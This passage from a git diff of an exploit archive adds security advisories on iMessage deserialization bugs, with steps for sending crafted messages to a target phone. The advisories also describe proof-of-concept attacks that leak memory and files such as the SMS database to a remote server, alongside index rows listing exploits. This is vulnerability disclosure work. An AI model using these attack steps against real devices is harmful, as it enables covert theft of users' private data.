This is what happens in the program above: the TypedArray.values function is a JS builtin [9] and will thus be JIT compiled. At the time of the crash it will be baseline JIT compiled and thus store the newly allocated Uint32Array into one of its ValueProfile [10]. Directly afterwards, the compiled code raises another stack overflow exception [11]. As such, the Uint32Array is not used any further and no more references to it are taken which could protect it from GC. As such, the array will be collected during the next (eden) GC round. However, the CodeBlock for TypedArray.values was already marked in a previous eden collection and will not be finalized, thus leaving the pointer to the freed TypedArray dangling in the ValueProfile. During the next full GC, the CodeBlock is again "unconditionally finalized" and will then inspects its m_buckets, thus crashing when using the freed JSValue.
|
||||
|
||||
The infinite recursion and following stack overflow exceptions in this sample might be necessary to force a situation in which the newly allocated Uint32Array is only stored into a profiling slot and nowhere else. But maybe they are also simply required to cause the right sequence of GC invocations.
|
18
exploits/multiple/dos/47192.txt
Normal file
18
exploits/multiple/dos/47192.txt
Normal file
|
@ -0,0 +1,18 @@
|
|||
When deserializing a class with initWithCoder, subclasses of that class can also be deserialized so long as they do not override initWithCoder and implement all methods that require a concrete implementation.
|
||||
|
||||
_PFArray is such a subclass of NSArray. When a _PFArray is deserialized, it is deserialized with [NSArray initWithCoder:], which eventually calls [_PFArray initWithObjects:count:]. This method initializes the array with the objects provided by the NSKeyedUnarchiver, but does not retain references to these objects, so when the NSKeyedUnarchiver is released, the objects in the array will also be released, even though the user of the deserialized objects could still be using them.
|
||||
|
||||
This issue can be reached remotely via iMessage and crash Springboard with no user interaction.
|
||||
|
||||
To reproduce the issue with the files in pfarray.zip:
|
||||
|
||||
1) install frida (pip3 install frida)
|
||||
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
|
||||
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
|
||||
4) in the local directory, run:
|
||||
|
||||
python3 sendMessage.py
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47192.zip
|
18
exploits/multiple/dos/47193.txt
Normal file
18
exploits/multiple/dos/47193.txt
Normal file
|
@ -0,0 +1,18 @@
|
|||
There is a memory corruption vulnerability when decoding an object of class NSKnownKeysDictionary1. This class decodes an object of type NSKnownKeysMappingStrategy1, which decodes a length member which is supposed to represent the length of the keys of the dictionary. However, this member is decoded before the keys are decoded, so if a key is an instance of NSKnownKeysDictionary1 which also uses this instance of NSKnownKeysMappingStrategy1, the mapping strategy will be used before the length is checked. The NSKnownKeysDictionary1 instance uses this length to allocate a buffer, and the length is multiplied by 8 during this allocation without an integer overflow check. The code will then attempt to copy the values array (another decoded parameter) into the buffer using the unmultiplied length.
|
||||
|
||||
It is not possible to control the copied values in this bug, because getObjects:range would then be called with a very large range and throw an exception. However, if the decoded values array is null, getObjects:range will do nothing, and then the code will go through a loop where it copies and retains entries from the values array into the buffer allocated based on the length member, going well past the end of both allocations.
|
||||
|
||||
This issue would likely be fairly difficult to exploit due to the uncontrolled nature of these copies.
|
||||
|
||||
To reproduce this issue in iMessage with knownkeydict:
|
||||
|
||||
1) install frida (pip3 install frida)
|
||||
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
|
||||
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
|
||||
4) in the local directory, run:
|
||||
|
||||
python3 sendMessage.py
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47193.zip
|
39
exploits/multiple/dos/47194.txt
Normal file
39
exploits/multiple/dos/47194.txt
Normal file
|
@ -0,0 +1,39 @@
|
|||
The class _NSDataFileBackedFuture can be deserialized even if secure encoding is enabled. This class is a file-backed NSData object that loads a local file into memory when the [NSData bytes] selector is called. This presents two problems. First, it could potentially allow undesired access to local files if the code deserializing the buffer ever shares it (this is more likely to cause problems in components that use serialized objects to communicate locally than in iMessage). Second, it allows an NSData object to be created with a length that is different than the length of its byte array. This violates a very basic property that should always be true of NSData objects. This can allow out of bounds reads, and could also potentially lead to out-of-bounds writes, as it is now possible to create NSData objects with very large sizes that would not be possible if the buffer was backed.
|
||||
|
||||
To reproduce the issue with the files in filebacked.zip:
|
||||
|
||||
1) install frida (pip3 install frida)
|
||||
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
|
||||
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
|
||||
4) in the local directory, run:
|
||||
|
||||
python3 sendMessage.py
|
||||
|
||||
Please note that the attached repro case is a simple example to demonstrate the reach-ability of the class in Springboard. The actual consequences of the bug are likely more serious. This PoC only works on devices with iOS 12 or later.
|
||||
|
||||
|
||||
I've written up a PoC of this issue leaking memory from a remote device. To use the PoC, replace all instances of "natashenka.party" in the attached files with the domain of the server you are using to reproduce the issue. Then run myserver.py on the server, and use the files in filebackedleak.zip to send a message to a target device, using the instructions in the issue above. Leaked bytes of memory from Springboard in the target device will be displayed in the output of myserver.py.
|
||||
|
||||
A quick summary of how this PoC works:
|
||||
|
||||
1) iMessage attempts to decode the object in the file obj to display the message notification
|
||||
2) A _NSDataFileBackedFuture instance is decoded, with a fileURL of http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data and a long length.
|
||||
3) An ACZeroingString instance is decoded, using the previous _NSDataFileBackedFuture as its bytes. When the bytes are accessed, they will be fetched from the above URL. The _NSDataFileBackedFuture class attempts to prevent remote URLs from being fetched by checking that the path of the URL exists on the system, but it does not check the scheme, so a remote URL can be fetched so long as its path component is a path that exists on the filesystem
|
||||
4) The remote server responds with a buffer that contains the URL http://natashenka.party//System/Library/ColorSync/Resources/ColorTables.data?val=a. Since the length of the _NSDataFileBackedFuture is long, this will lead to a buffer that contains the URL as well as some unallocated, uninitialized memory
|
||||
5) Unfortunately, it is not possible to leak the memory by accessing the URL with the leaked memory created in step 4 using another _NSDataFileBackedFuture at this stage, because the NSURL class greatly restricts the characters allowed in a URL, so it is necessary to bypass these checks. It is possible to do this with the INDeferredLocalizedString class, which is a string that can have different values based on localization
|
||||
6) An INDeferredLocalizedString instance is decoded with one property being a string that is a legal URL, and the other being the string with the invalid characters. There is a cycle in initialization that causes an NSURL instance to be initialized using the valid string, but then the string moves into a state where it will return the invalid characters when the NSURL is used.
|
||||
7) A _NSDataFileBackedFuture is used to access the URL, and the leaked bytes are send to the server as the URL parameter
|
||||
|
||||
|
||||
I've got this issue to read files from a remote device. To use the PoC, replace all instances of "natashenka.party" in the attached files with the domain of the server you are using to reproduce the issue. Then run myserver.py on the server, and use the files in messageleak.zip to send a message to a target device, using the instructions in the issue above. There are two possible objects to send the device:
|
||||
|
||||
obj_db: sends back the file in an escaped format that omits nulls. Good for leaking the SMS database
|
||||
obj_image: sends back the file in a url encoded format. Good for leaking binary files like images
|
||||
|
||||
The file contents will be output on the commandline of myserver.py. There are some length limits in the server file that can be removed to see more data. The server will also output a file named 'buf'. Processing this file with uni.py (requires python3) will output the file. This only works with the the obj_image object.
|
||||
|
||||
This PoC works similarly to the one above, but it encodes the string by using the formatting options in INDeferredLocalizedString.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47194.zip
|
|
@ -6515,6 +6515,12 @@ id,file,description,date,author,type,platform,port
|
|||
47158,exploits/watchos/dos/47158.txt,"Apple iMessage - DigitalTouch tap Message Processing Out-of-Bounds Read",2019-07-24,"Google Security Research",dos,watchos,
|
||||
47162,exploits/multiple/dos/47162.txt,"WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads",2019-07-25,"Google Security Research",dos,multiple,
|
||||
47178,exploits/linux/dos/47178.txt,"pdfresurrect 0.15 - Buffer Overflow",2019-07-26,j0lama,dos,linux,
|
||||
47189,exploits/multiple/dos/47189.txt,"macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances",2019-07-30,"Google Security Research",dos,multiple,
|
||||
47190,exploits/multiple/dos/47190.txt,"macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded",2019-07-30,"Google Security Research",dos,multiple,
|
||||
47191,exploits/multiple/dos/47191.txt,"macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles",2019-07-30,"Google Security Research",dos,multiple,
|
||||
47192,exploits/multiple/dos/47192.txt,"iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References",2019-07-30,"Google Security Research",dos,multiple,
|
||||
47193,exploits/multiple/dos/47193.txt,"iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1",2019-07-30,"Google Security Research",dos,multiple,
|
||||
47194,exploits/multiple/dos/47194.txt,"iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects",2019-07-30,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -17583,7 +17589,8 @@ id,file,description,date,author,type,platform,port
|
|||
47137,exploits/windows_x86/remote/47137.py,"MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow (EggHunter)",2019-07-19,sasaga92,remote,windows_x86,
|
||||
47155,exploits/multiple/remote/47155.txt,"Trend Micro Deep Discovery Inspector IDS - Security Bypass",2019-07-24,hyp3rlinx,remote,multiple,
|
||||
47186,exploits/unix/remote/47186.rb,"Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)",2019-07-29,Metasploit,remote,unix,
|
||||
47187,exploits/php/remote/47187.rb,"WP Database Backup < 5.2 - Remote Code Execution (Metasploit)",2019-07-29,Metasploit,remote,php,80
|
||||
47187,exploits/php/remote/47187.rb,"WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)",2019-07-29,Metasploit,remote,php,80
|
||||
47195,exploits/linux/remote/47195.rb,"Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)",2019-07-30,Metasploit,remote,linux,6379
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
@ -41560,3 +41567,4 @@ id,file,description,date,author,type,platform,port
|
|||
47182,exploits/php/webapps/47182.html,"WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery",2019-07-29,rubyman,webapps,php,80
|
||||
47184,exploits/php/webapps/47184.txt,"WordPress Theme Real Estate 2.8.9 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80
|
||||
47185,exploits/php/webapps/47185.txt,"GigToDo 1.3 - Cross-Site Scripting",2019-07-29,m0ze,webapps,php,80
|
||||
47188,exploits/hardware/webapps/47188.py,"Amcrest Cameras 2.520.AC00.18.R - Unauthenticated Audio Streaming",2019-07-30,"Jacob Baines",webapps,hardware,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue